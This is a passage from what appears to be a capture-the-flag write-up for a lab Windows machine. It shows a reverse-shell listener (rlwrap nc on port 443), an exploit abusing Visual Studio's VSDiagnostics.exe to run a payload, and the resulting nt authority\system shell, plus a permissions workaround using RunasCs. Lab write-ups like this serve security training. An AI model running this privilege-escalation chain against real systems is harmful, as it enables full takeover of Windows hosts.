listening on [any] 443 ...

and execute the chain attack with the exploit:

PS C:\Windows\system32> c:\exploit\Expl.exe $VSDiagnostics.FullName "c:\exploit\payload.exe"

c:\exploit\Expl.exe $VSDiagnostics.FullName "c:\exploit\payload.exe"
[+] VSDiagnostics: C:\Program Files (x86)\Microsoft Visual Studio\2019\Community\Team Tools\DiagnosticsHub\Collector\VSDiagnostics.exe
[+] Payload: c:\exploit\payload.exe

We get a shell as nt authority/system:

❯ rlwrap -cAr nc -lvnp 443

listening on [any] 443 ...
connect to [10.10.16.2] from (UNKNOWN) [10.10.11.26] 60924
Microsoft Windows [Versin 10.0.19045.4651]
(c) Microsoft Corporation. Todos los derechos reservados.

C:\ProgramData\Microsoft\VisualStudio\SetupWMI>whoami
whoami

nt authority\system
Note
As we said earlier, if we get the message The Windows Installer Service could not be accessed. after [+] Payload line when we execute Expl.exe, this could mean we have some problems with permissions and this is why it is recommended to run it with RunasCs (and we will also have to restart the machine 😅).

GG. We can get the root flag at Administrator Desktop.

~Happy Hacking.